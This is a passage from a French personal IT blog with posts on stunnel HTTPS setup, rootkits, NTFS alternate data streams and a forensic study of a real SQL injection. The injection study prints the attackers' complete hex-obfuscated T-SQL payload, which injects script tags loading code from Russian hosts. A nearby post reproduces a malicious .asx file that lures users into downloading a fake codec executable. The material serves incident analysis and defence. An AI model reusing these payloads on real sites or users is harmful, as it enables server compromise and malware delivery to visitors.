Wikipedia FR : <a href="http://fr.wikipedia.org/wiki/ZFS" hreflang="fr">http://fr.wikipedia.org/wiki/ZFS</a></p>
<h3>Netatalk</h3>
<p>Il s'agit de l'implémentation d'AFP (Apple Filing Protocol) utilisé par Freenas.<br />
<a href="http://netatalk.sourceforge.net/" hreflang="en">http://netatalk.sourceforge.net/</a></p>
<h3>Time Capsule</h3>
<p>Description de la Time Capsule sur le site d'Apple : <a href="http://www.apple.com/fr/timecapsule/" hreflang="fr">http://www.apple.com/fr/timecapsule/</a></p>
<h3>HP Thin Client T5720</h3>
<p>Les spécifications : <a href="http://h18000.www1.hp.com/products/quickspecs/12388_div/12388_div.HTML" hreflang="en">http://h18000.www1.hp.com/products/quickspecs/12388_div/12388_div.HTML</a></p>
<div class="footnotes"><h4>Notes</h4>
<p>[<a href="http://thoms.free.fr/dotclear/index.php?post/2010/02/03/Cr%C3%A9er-une-Timecapsule-avec-Freenas#rev-pnote-43-1" id="pnote-43-1">1</a>] Les clients légers peuvent être utilisés pour réaliser des petits serveurs nécessitant peu de ressources et consommant peu d'énergie. J'en ai déjà utilisé par le passé pour réaliser un serveur raccordé à une station météo. Voir ici pour plus d'informations : <a href="http://forum.meteohub.de/viewtopic.php?f=21&t=4778" hreflang="en">hhttp://forum.meteohub.de/viewtopic.php?f=21&t=4778</a></p></div>
Transformer un serveur web HTTP en serveur HTTPS sur debianurn:md5:e90db5d46020a96c2f60ad49169ff6e72009-12-09T15:50:00+00:00Thomas DAVIDInformatique<p>J'utilise une application de serveur météo installée sur une machine légère. Son développeur a choisi d'utiliser thttpd sur une plateforme Debian Etch. Ce serveur web est réputé pour sa légèreté et sa rapidité, mais ne supporte pas le HTTPS. Ce n'est pas que l'application soit critique, loin de là, mais le HTTP fait partie de ces protocoles historiques de l'Internet où tout circule en clair. Le danger, c'est que n'importe qui capable d'intercepter la communication en un point du réseau peut récupérer les codes d'accès. Comme l'installation représente une somme certaine de travail, je n'ai pas envie qu'un rigolo se prenant pour un [crack]hacker ne vienne casser l'installation. D'autre part, la mise en place d'un flux chiffré n'est pas difficile. Voici comment faire du HTTPS avec un serveur web qui ne l'intègre pas.</p> <p>Deux solutions pour arriver a faire des connexion HTTPS avec le serveur :</p>
<ul>
<li>utiliser un reverse proxy HTTPS</li>
<li>utiliser un wrapper SSL</li>
</ul>
<p>La solution à base de reverse proxy ne me satisfait pas pour deux raisons. La première c'est que ce serveur météo doit pouvoir tourner sur des machines très légères (un client léger HP T5700 dans mon cas 512Mo RAM/ Transmeta(tm) Crusoe(tm) Processor TM5800@1GHz, mais la cible est encore plus "low end"). Or une solution de reverse proxy avec Apache par exemple sera gourmande en ressources. L'autre point, c'est qu'il risque d'être nécessaire de modifier la configuration de l'application et donc de générer des effets de bord lors d'une mise à jour future. Le reverse proxy présente toutefois l'avantage de pouvoir "proxifier" d'autre ressources non sécurisées.
La seconde option consiste à utiliser un wrapper SSL. Le HTTPS n'étant jamais que tu HTTP over SSL, un demon va prendre en charge la partie SSL de la connexion puis déléguer le traitement la partie en clair au serveur web. J'ai choisi STunnel qui présente l'avantage d'être distribué sous forme de package. Après un test sur une autre machine j'ai appliqué la configuration suivante.</p>
<h2>Intallation & Configuration</h2>
<p>L'installation a été réalisé avec succès sur une Debian Etch et une Debian Lenny.</p>
<h3>installation de stunnel 4</h3>
<p>Sous Debian, rien de plus simple. Attention toutefois, le 4 la fin de stunnel4 est important sinon vous installerez la version 3.</p>
<code class="bash"><span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> stunnel4</code>
<h3>Configuration spécifique Debian</h3>
<p>Editer le fichier /etc/default/stunnel4 et changer</p>
<code class="ini"><span style="color: #000099;">ENABLED</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">0</span></code>
<p>par</p>
<code class="ini"><span style="color: #000099;">ENABLED</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">1</span></code>
<h3>Configuration SSL pour Stunnel</h3>
<p>Afin de pouvoir crypter les flux, Stunnel doit disposer d'un certificat de crytage que nous allons générer avec openssl.
Placez-vous dans le répertoire /etc/stunnel4 et générez le certificat SSL pour Stunnel.</p>
<code class="bash"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>stunnel4<br />
openssl req <span style="color: #660033;">-new</span> <span style="color: #660033;">-x509</span> <span style="color: #660033;">-nodes</span> <span style="color: #660033;">-days</span> 365 <span style="color: #660033;">-out</span> stunnel.pem <span style="color: #660033;">-keyout</span> stunnel.pem</code>
<h3>Configuration de Stunnel4</h3>
<p>Ouvrez le fichier /etc/stunnel4/stunnel.conf et inserer les lignes :</p>
<code class="ini"><span style="color: #000099;">cert</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /etc/stunnel/stunnel.pem</span><br />
<span style="color: #000099;">key</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /etc/stunnel/stunnel.pem</span></code>
<p>Vers la fin du fichier, commentez toute la section avec des ";" en tête de ligne.</p>
<code class="ini"><span style="color: #666666; font-style: italic;">;[pop3s]</span><br />
<span style="color: #666666; font-style: italic;">;accept = 995</span><br />
<span style="color: #666666; font-style: italic;">;connect = 110</span><br />
<span style="color: #666666; font-style: italic;">;[imaps]</span><br />
<span style="color: #666666; font-style: italic;">;accept = 993</span><br />
<span style="color: #666666; font-style: italic;">;connect = 143</span><br />
<span style="color: #666666; font-style: italic;">;[ssmtp]</span><br />
<span style="color: #666666; font-style: italic;">;accept = 465</span><br />
<span style="color: #666666; font-style: italic;">;connect = 25</span></code>
<p>Et décommentez la dernière section [https] en supprimant les";" :</p>
<code class="ini"><span style="color: #000066; font-weight:bold;"><span style="">[</span>https<span style="">]</span></span><br />
<span style="color: #000099;">accept</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 443</span><br />
<span style="color: #000099;">connect</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 80</span><br />
<span style="color: #000099;">TIMEOUTclose</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 0</span></code>
<h2>[Re]Lancez stunnel</h2>
<p>On relance stunnel:</p>
<code class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>stunnel4 restart</code>
<p><strong>Notes :</strong></p>
<ul>
<li>Le service HTTP est toujours actif! Cette opération ne fait qu'ajouter une surchouche SSL au listener HTTP existant. Dans mon cas, il n'est plus accessible depuis l'extérieur car j'ai mis à jour la configuration de mon routeur. Veillez donc à bien fermer l'accès HTTP (supprimez la redirection du port 80 ou via un pare-feu).</li>
<li>De la même manière, si votre serveur se trouve derrière un routeur vous devez ajouter une redirection HTTPS (port 443) vers votre serveur pour pouvoir accéder au service HTTPS.</li>
<li>Le serveur Météo est Meteohub. Plus d'informations ici : <a href="http://www.meteohub.de/" hreflang="en">http://www.meteohub.de/</a></li>
</ul>Injection SQL : petite étude de casurn:md5:59f8909f65a22a58a685b7b3e8a6b94d2009-11-17T14:54:00+00:00Thomas DAVIDInformatiqueinjection sqlpiratagesecuritésql<p>Suite à une actualité professionnelle récente, j'ai été amené à faire l'autopsie d'une attaque par injection SQL sur un serveur web. Cet article détaille le scénario de l'attaque et les techniques utilisées.</p> <h2>Technique utilisée</h2>
<p>C'est arrivé pendant les mois de septembre et octobre 2009. L'étude des symptômes (présence d'un texte HTML pointant vers un javascript sur un serveur russe) a permis d'en savoir plus sur la technique utilisée. Le javascript en question vous emmène vers un site russe dont l'objectif est de vous installer un cheval de Troie.</p>
<p>L'intrusion dans le système est faite par l'injection de code SQL masqué en hexadécimal dans la chaine querystring qui est ensuite passé au moteur SQL. Comme il s'agissait d'une veille application qui n'était plus maintenue, elle n'était pas prévue pour parer ce genre d'attaque.</p>
<p>On retrouve dans les logs du serveur web (IIS) les traces de ces variables. Par exemple :</p>
<pre>GET /mapage.asp bonneVariable=24;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832353529220.............%20AS%20VARCHAR(4000));EXEC(@S)</pre>
<p>La partie suivant "bonneVariable=24" est ajoutée afin d'être transmise au moteur de la base de données. La partie intéressante se trouve après le CAST(0x..., varchar(4000)); qui annonce un chaine hexadécimale à convertir en texte.</p>
<p>Une fois le contenu de la variable hexadécimal converti en texte, on a quelque chose du genre :</p>
<code class="TSQL"><span style="color: #0000FF;">DECLARE</span> @T <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span>,@C <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span><br />
<span style="color: #0000FF;">DECLARE</span> Table_Cursor <span style="color: #0000FF;">CURSOR</span> <span style="color: #0000FF;">FOR</span> <span style="color: #0000FF;">SELECT</span> a.<span style="color: #202020;">name</span>,b.<span style="color: #202020;">name</span> <span style="color: #0000FF;">FROM</span> sysobjects a,syscolumns b <span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">id</span><span style="color: #808080;">=</span>b.<span style="color: #202020;">id</span> <span style="color: #808080;">AND</span> a.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #FF0000;">'u'</span> <span style="color: #808080;">AND</span> <span style="color: #808080;">(</span>b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>99 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>35 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>231 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>167<span style="color: #808080;">)</span> <br />
<span style="color: #808080;">[</span>...<span style="color: #808080;">]</span><br />
<span style="color: #0000FF;">DEALLOCATE</span> Table_Cursor</code>
<p>Intéressant? Allons plus loin.</p>
<h2>Scénario des attaques</h2>
<p>Pour comprendre exactement ce qu'il s'est passé j'ai recherché dans les logs du serveur web toutes les requêtes HTTP où intervenait "CAST(0x". Je me suis aperçu que le serveur avait subit plusieurs attaques similaires en septembre/octobre 2009.</p>
<p>Voici le code SQL utilisé pour insérer le javascript en base de données :</p>
<code class="TSQL"><span style="color: #0000FF;">DECLARE</span> @T <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span>,@C <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">DECLARE</span> Table_Cursor <span style="color: #0000FF;">CURSOR</span> <span style="color: #0000FF;">FOR</span> <span style="color: #0000FF;">SELECT</span> A.<span style="color: #202020;">namE</span>,b.<span style="color: #202020;">NAmE</span> <span style="color: #0000FF;">FROM</span> sysOBJeCTs A,syscOLUMNs B <span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">Id</span><span style="color: #808080;">=</span>B.<span style="color: #202020;">id</span> AnD a.<span style="color: #202020;">xTyPE</span><span style="color: #808080;">=</span><span style="color: #FF0000;">'u'</span> <span style="color: #808080;">AND</span> <span style="color: #808080;">(</span>b.<span style="color: #202020;">xtYPE</span><span style="color: #808080;">=</span>99 or b.<span style="color: #202020;">XtyPE</span><span style="color: #808080;">=</span>35 oR B.<span style="color: #202020;">xTypE</span><span style="color: #808080;">=</span>231 Or B.<span style="color: #202020;">XTYpE</span><span style="color: #808080;">=</span>167<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">OPEN</span> tABLE_CURsor <span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span> tABLE_CuRsOr <span style="color: #0000FF;">INTO</span> @t,@c <br />
<span style="color: #0000FF;">WHILE</span><span style="color: #808080;">(</span><span style="color: #FF00FF;">@@FETCH_STATUS</span><span style="color: #808080;">=</span>0<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">BEGIN</span> <br />
<span style="color: #0000FF;">EXEC</span><span style="color: #808080;">(</span><span style="color: #FF0000;">'UpdaTe ['</span><span style="color: #808080;">+</span>@t<span style="color: #808080;">+</span><span style="color: #FF0000;">'] SET ['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']=RTRim(cONVerT(vArcHaR(4000),['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']))+caST(0x3C736372697074207372633D687474703A2F2F7777772E62616E6E6572742E72752F6164732E6A733E3C2F7363726970743E As vaRCHAR(51))'</span><span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span> table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C <br />
<span style="color: #0000FF;">END</span> <br />
<span style="color: #0000FF;">CLOSE</span> tAbLE_cursOr <br />
<span style="color: #0000FF;">DEALLOCATE</span> TABle_CURsOr</code>
<p>La chaine hexadécimale contient ceci :</p>
<pre><script src=http://www.bannert.ru/ads.js></script></pre>
<p>Il y a également eu :</p>
<pre><script src=http://www.bannerdriven.ru/ads.js></script>)</pre>
<p>En étudiant de près le code injecté, la technique utilisée consiste à utiliser les tables systèmes afin de répertorier tous les champs utilisables (type (var)char, je n'ai pas regardé en détail) afin d'y ajouter une petite chaine de texte. La chaine texte en question est du HTML qui inclue un javascript dans la page. L'idée étant que sur l'ensemble des champs modifiés, il y en aura bien un qui sera utilisé dans la génération des pages du serveur web.</p>
<p>Voici la requête sélectionnant les champs modifiables :</p>
<code class="TSQL"><span style="color: #0000FF;">SELECT</span> a.<span style="color: #202020;">name</span>,b.<span style="color: #202020;">name</span> <br />
<span style="color: #0000FF;">FROM</span> sysobjects a,syscolumns b <br />
<span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">id</span><span style="color: #808080;">=</span>b.<span style="color: #202020;">id</span> <span style="color: #808080;">AND</span> a.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #FF0000;">'u'</span> <br />
<span style="color: #808080;">AND</span> <span style="color: #808080;">(</span>b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #000;">99</span> <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #000;">35</span> <br />
<span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #000;">231</span> <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #000;">167</span><span style="color: #808080;">)</span></code>
<p>Chose curieuse, à chaque fois qu'une modification des champs texte est faite, une autre requête vient "nettoyer" les champs modifiés un peu plus tard (quelques minutes à quelques jours après).</p>
<p>Voici le code SQL de "nettoyage" :</p>
<code class="TSQL"><span style="color: #0000FF;">DECLARE</span> @T <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span>,@C <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">(</span>255<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">DECLARE</span> Table_Cursor <br />
<span style="color: #0000FF;">CURSOR</span> <span style="color: #0000FF;">FOR</span> <span style="color: #0000FF;">SELECT</span> a.<span style="color: #202020;">name</span>,b.<span style="color: #202020;">name</span> <span style="color: #0000FF;">FROM</span> sysobjects a,syscolumns b <span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">id</span><span style="color: #808080;">=</span>b.<span style="color: #202020;">id</span> <span style="color: #808080;">AND</span> a.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span><span style="color: #FF0000;">'u'</span> <span style="color: #808080;">AND</span> <span style="color: #808080;">(</span>b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>99 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>35 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>231 <span style="color: #808080;">OR</span> b.<span style="color: #202020;">xtype</span><span style="color: #808080;">=</span>167<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">OPEN</span> Table_Cursor <br />
<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span> Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C <span style="color: #0000FF;">WHILE</span><span style="color: #808080;">(</span><span style="color: #FF00FF;">@@FETCH_STATUS</span><span style="color: #808080;">=</span>0<span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">BEGIN</span> <br />
<span style="color: #0000FF;">EXEC</span><span style="color: #808080;">(</span><span style="color: #FF0000;">'UPDATE ['</span><span style="color: #808080;">+</span>@T<span style="color: #808080;">+</span><span style="color: #FF0000;">'] SET ['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']=LEFT(CONVERT(VARCHAR(4000),['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']),PATINDEX('</span><span style="color: #FF0000;">'%<scr%'</span><span style="color: #FF0000;">',CONVERT(VARCHAR(4000),['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']))-1) WHERE PATINDEX('</span><span style="color: #FF0000;">'%<scr%'</span><span style="color: #FF0000;">',CONVERT(VARCHAR(4000),['</span><span style="color: #808080;">+</span>@C<span style="color: #808080;">+</span><span style="color: #FF0000;">']))>0'</span><span style="color: #808080;">)</span> <br />
<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span> Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C <br />
<span style="color: #0000FF;">END</span> <br />
<span style="color: #0000FF;">CLOSE</span> Table_Cursor <br />
<span style="color: #0000FF;">DEALLOCATE</span> Table_Cursor</code>
<p>Pour une raison inconnue, le dernier "nettoyage" ne s'est pas déroulé comme prévu, laissant un grand nombre de champs avec l'inclusion du javascript. Le moteur d'indexation de Google est passé par là et il est tombé sur les javascripts malicieux. Cela a eu pour conséquence de bloquer l'accès au site depuis Google avec un message d'avertissement signalant que le site etait dangereux. Très vendeur...</p>
<p>Je pense que ce "nettoyage" a pour but de ne pas trop exposer le piratage. En evitant d'être repéré, les pirates conservent un accès au serveur pour utilisation future.</p>
<h2>Notes :</h2>
<ul>
<li>Pour ceux qui voudraient rechecher ce genre d'attaques, il est très pratique de conserver les logs des serveur web compressés avec GZIP (90% de taux de compression sur des fichiers texte) sur un serveur Unix/Linux. Vous pouvez ensuite très facilement extraire les attaques décrites dans cet article en décompressant les logs à la volée à l'aide de la commande suivante :</li>
</ul>
<pre>gzip -cd filenamefilter | grep -i "CAST(0x"</pre>
<ul>
<li>Merci à LuTim qui m'a mis sur la voie grace à <a href="http://www.sqlservercentral.com/Forums/FindPost795013.aspx" hreflang="fr">son post sur forum SQLServerCentral</a></li>
<li>J'ai également posté <a href="http://www.sqlservercentral.com/Forums/FindPost798664.aspx" hreflang="en">cette histoire sur le forum SQLServerCentral</a></li>
<li>Afin de rendre la lecture du SQL plus facile, j'ai utilisé le plugin de coloration syntaxique dcgeshi (<a href="http://www.clashdesign.net/blog/index.php/post/2009/05/30/dcgeshi-version-05-pour-dotclear" hreflang="fr">plus d'info</a>).</li>
</ul>Méthode d'infection virale d'un nouveau genreurn:md5:e8932e05817c0f934f8cac4655f04bbc2007-02-19T17:31:04+00:00Thomas DAVIDInformatique <p>Un nouveau mode de propagation de virus utilisant la messagerie est apparu récemment. Il se présente sous la forme d'un message texte relativement quelconque en français et d'une vidéo. Contrairement au méthodes habituelles d'infection, le virus ne transite pas par la messagerie. Le message n'est donc pas stoppé par les équipements habituels de sécurité.</p>
<p>En fait de vidéo, il s'agit d'un fichier .asx. Ces fichiers sont des fichiers de contrôles pour les lecteurs médias (Winmap, Windows Media Player, etc.). Dans ce fichier sont indiqué l'adresse de téléchargement de la vidéo et en cas de besoin l'adresse des codecs nécessaires à la lecture de la vidéo. Lorsque le lecteur télécharge et tente de lire la vidéo, bien entendu des codecs sont nécessaires pour la lecture de celle-ci. Le lecteur va donc interroger l'adresse renseignée dans le .asx pour récupérer les codecs. Or le fichier de codecs est un exécutable infecté par un virus.
Le dernier rempart contre l'infection du poste est l'antivirus local (à jour) du poste.</p>
<p><strong>un exemple :</strong></p>
<pre>From: "aaa@bbbb.com" <aaa@bbbb.com>
Subject: Anniversaire
C' est le film de mon anniversaire...
Peux tu reconnaître qui est a coté de moi?</pre>
<p><strong>Et le fichier vidéo.asx associé</strong></p>
<pre><ASX version="3.0">
<ENTRY>
<TITLE>Codec not found</TITLE>
<REF HREF ="http://updatecodecs.t35.com/video.avi"/>
<DURATION VALUE="60:00"/>
<BANNER HREF ="http://updatecodecs.t35.com/img_en.gif">
<ABSTRACT>Download Codecs</ABSTRACT>
<MOREINFO HREF ="http://updatecodecs.t35.com/codecs.exe" />
</BANNER>
</ENTRY>
</ASX></pre>
<p>Visiblement cet article a <em>inspiré</em> certains. <a href="http://thoms.free.fr/dotclear/index.php?2007/09/05/38-resume-ou-plagiat" hreflang="fr">Lisez la suite ici</a></p>Réceptionner des fichiers via IRDA sous Ubuntuurn:md5:8db15febd3311e16265842fc69da6d262006-04-22T19:44:22+00:00Thomas DAVIDInformatique <p>Voici une petite astuce pour réceptionner autant de fichiers que vous le voudrez via le port IrDa d'un portable utilisant la distribution linux Ubuntu. C'est particulièrement utile lorsque vous voulez envoyer plusieurs photo d'un téléphone par exemple. Elle s'adresse aux personnes qui ne sont pas familière avec programmation en shell.</p>
<p>Par défaut, le support de l'infrarouge n'est pas installé. Avant toute chose, vous devez donc installer le support de l'IrDa sur votre système Ubuntu. La démarche n'est pas bien compliqué. Tout est expliqué sur cette page : <a href="http://doc.ubuntu-fr.org/materiel/port_irda" hreflang="fr">http://doc.ubuntu-fr.org/materiel/port_irda</a>.</p>
<p>Une fois que l'IrDa est utilisable sur votre système, ouvrez un terminal et placez vous dans le répertoire de réception des fichiers. Puis tapez la commande suivante :</p>
<pre>while(true); do ircp -r; done</pre>
<p>Et voila, votre portable réceptionnera autant de fichiers que vous le voudrez. Une fois les transferts terminés, arrêtez le script avec la combinaison de touche CRTL + c. Les fichiers se trouvent dans le répertoire où vous avez lancé la commande.</p>
<p>Si ce billet vous a été utile, laissez moi un petit commentaire. Ca fait toujours plaisir :-)</p>les rootkit et Microsofturn:md5:61fc19a11ac0d9685e3ff2d448ae02292006-04-20T14:41:19+00:00Thomas DAVIDInformatique<p>Depuis quelques mois, les utilisateurs des produits Microsoft découvrent une terrible menace : les rootkits. C'est quoi un rootkit? C'est une tentative subversive de déstabilisation des produits de la marque à la fenêtre par des barbus soixante-huitards défenseur de Linux.</p>
<p>Un peu de sérieux! Voyons ce qu'est réellement un rootkit et comment cela s'applique aux systèmes Microsoft.</p> <p><strong>Un rootkit c'est quoi?</strong></p>
<p>Quand on parle de rootkit il faut comprendre qu'il s'agit de programme malveillant qui en plus de leurs offices remplacent des fonctions du système qu'ils infectent pour masquer leur présence. Pour bien comprendre voici un exemple simple :</p>
<p>Sous Windows :</p>
<p>Le fichier <em>explorer.exe</em> de Windows à été remplacé par un fichier infecté (taille et signature différentes). Mais cette modification est rendu invisible par l'explorateur lui même qui masque cette modification. La signature d'un rootkit c'est justement de masquer son fonctionnement. L'utilisateur a donc un système vérolé mais ne peux pas le savoir.</p>
<p>Sous un système de type unix :</p>
<p>La commande <em>ls</em> a été modifié de manière à masquer le fait qu'un certain nombre de fichier système ont été modifiés. Impossible de se rendre compte de l'infection.</p>
<p>En allant plus loin, un rootkit peut remplacer tous les utilitaires système de base pour masquer sa présence (gestionnaire de tâches/ps, explorer/ls, etc.). La présence du rootkit est alors indétectable.</p>
<p>Cette problématique est connue de longue date chez les administrateurs unix. Les plus vigilants sauvegardent sur des supports figés (CD non réinscriptibles par exemple) les fichiers clés du système d'exploitation (ou des clés de hashage). Une vérification régulière du système permet de déterminer si un fichier du système a été modifié.</p>
<p><strong>Comment attrape-t-on un rootkit ?</strong></p>
<p>La réponse est la même que pour les virus. Il y a plusieurs possibilités :</p>
<ul>
<li>Par une faille locale du système d'exploitation. L'utilisateur lance (consciemment ou non) un programme qui effectue une attaque exploitant une faille du système d'exploitation. Une seule parade : maintenir son système à jour.</li>
<li>Par une faille exploitable à distance via le réseau : un ordinateur distant (généralement une machine infectée) exploite une faille d'un service réseau pour obtenir des privilèges administrateur. Les parades sont l'utilisation de pare-feu et la mise à jour régulière du système d'exploitation (et des applications qui fonctionnent avec les droits d'administration).</li>
</ul>
<p>On commence donc a entrevoir des principes important dans l'administration des systèmes d'exploitation.</p>
<p>Une application ne doit disposer que du minimum de droit nécessaire à son fonctionnement. Toute application ou service réseau fonctionnant avec des droits administrateur présente un risque pour la sécurité du système d'exploitation. Par exemple, un serveur web qui tourne avec un compte ayant tous les droits sur le système d'exploitation permettra l'injection d'un rootkit en cas de faille exploitable à distance.</p>
<p>De même pour les utilisateurs : limiter les droits des comptes utilisateurs permet de diminuer les risques de contamination accidentelle. Les droits d'administration sont rarement requis dans un usage quotidien.</p>
<p>En conclusion, quel que soit le système d'exploitation pour se protéger des rootkit (et des virus) rien ne vaut une administration cohérente (pas d'utilisateur ou d'applications avec des droits administrateur), des mises à jour régulière et un pare-feu.</p>
<p><strong>Pourquoi les rootkit sont ils inquiétant pour Windows ?</strong></p>
<p>La principale raison de s'inquiéter réside dans le fait que la plupart des utilisateurs (en dehors des entreprises ayant une politique de sécurité) utilisent leur système en mode administrateur. Le risque de contamination accidentelle est donc élevé.<br />
Une autre raison est lié au fait que Windows lance tous les services avec des privilèges administrateurs. La découverte d'une faille exploitable rend donc possible l'injection d'un rootkit.<br />
Enfin la dernière raison, qui n'en est pas vraiment une, est que Windows est un système d'exploitation très répandu ce qui en cas de découverte d'une faille exploitable à distance favorise la propagation.</p>
<p><strong>Quel rapport avec le logiciel libre ?</strong></p>
<p>Aucun. Aucun. Si des outils opensource existent et sont détournés de leurs usages à des fins malveillantes, en quoi l'auteur en est-il responsable? Accuse-t-on les constructeurs automobiles de faire des voitures qui roulent trop vite alors que la vitesse est limitée à 50 Km/h en ville?</p>
<p>A ma connaissance, des outils de génération de virus/rootkit existe depuis très longtemps (alors que j'étais étudiant à la fin des années 90 cela existait déjà). Cependant la diffusion de ces "outils" était confidentielle jusqu'a l'avènement du haut débit pour (presque) tous.</p>
<p>Si vous avez pris la peine de me lire jusqu'ici, allez donc jeter un oeil sur <a href="http://solutions.journaldunet.com/0604/060419-malware-rootkit-securite.shtml" hreflang="fr">cet article du Journal du Net</a>. Morceaux choisis.</p>
<ul>
<li>"[Les technologies furtives]<em>font toutes appel à des composants systèmes et attaquent principalement Windows, alors que leur développement est hérité de composants Open Source historiquement réservés à Linux.</em>"<br />Compte tenu du monde de fonctionnement des rootkit (très forte imbrication avec le système d'exploitation) on voit mal comment de outils du monde Linux peuvent contaminer des fichiers des systèmes Windows. En remplacant une dll du système par un module du noyeau Linux? Ecran bleu garanti :-)</li>
<li>"<em>Le rootkit a initialement été développé comme un outil réservé à l'administrateur du poste client.</em>"<br />N'est-on pas en train de confondre root (compte administrateur sur les systèmes Unix) et Rootkit?</li>
<li>"<em>L'éditeur russe voit aussi la montée croissante des attaques destinées à Mac OS X d'Apple, système hérité d'Unix et qui devient lui aussi ouvert aux codes malveillants en tout genre.</em>"<br />C'est bien connu, les systèmes unix sont réputés pour leur manque de fiabilité et de sécurité ;-)</li>
</ul>
<p><strong>A lire également</strong></p>
<p><a href="http://en.wikipedia.org/wiki/Rootkit" hreflang="EN">Définition de rootkit selon Wikipedia EN</a></p>
<p><a href="http://fr.wikipedia.org/wiki/Rootkit" hreflang="fr">Définition de rootkit selon Wikipedia FR</a></p>Dans les entrailles du NTFSurn:md5:f6441e5712806963a36d78a427da2ea12005-02-18T09:53:32+00:00Thomas DAVIDInformatiqueIl existe dans le système de fichier utilisé par Windows un certain nombre de propriétés : le nom, la taille, etc. Des gens se sont aperçu qu'une d'entre-elles, assez peu documentée, offrait des possibilités inquiétantes : l'Alternate Data Stream. En effet, l'Alternate Data Stream (ADS - à ne pas confondre avec Active Directory Services) permet de stocker un flux de données supplémentaire. on peu y stocker du texte, des exécutables, tout ce qui vous passe par la tête. le problème c'est ce contenu est complètement invisible pour l'utilisateur. On ne voit rien dans l'explorateur, en mode console non plus! La taille du fichier ne tient pas compte de l'ADS! Pire, il y a fort à parier que les antivirus classiques soit incapables d'analyser les ADS.<br />
Pour résumer la situation : on a donc un moyen invisible et indétectable de stocker ce que l'on veut dans système de fichier NTFS. Il est probable que les antivirus ne sachent pas analyser ni même voir ces flux. En tous cas, peu s'en ventent...<br />
On ne peut pas parler réellement de faille de sécurité puisqu'il s'agit d'une fonctionnalité du système. Juste peut être d'un défaut de conception et/ou d'ergonomie.
<br />
<br />
Sources :<br />
<a href="http://www.reseaux-telecoms.com/cso_btree/05_02_17_170949_902/CSO/Newscso_view" hreflang="fr">Réseau & Télécom</a> (une petite entrée en matière)<br />
<a href="http://www.cert-ist.com/english/tools/les_alternate_data_stream_en.htm" hreflang="fr">Article du CERT</a> (Demonstration par l'exemple)<br />
<a href="http://www.securityfocus.com/infocus/1822" hreflang="en">Security Focus</a> (Une analyse très poussée)<br />
<a href="http://www.antionline.com/tutorials/jump.php?496" hreflang="en">Practical Guide to Alternative Data Streams in NTFS</a><br /><br />
<strong>Update</strong> : Comment faire pour tester son antivirus ? <br />
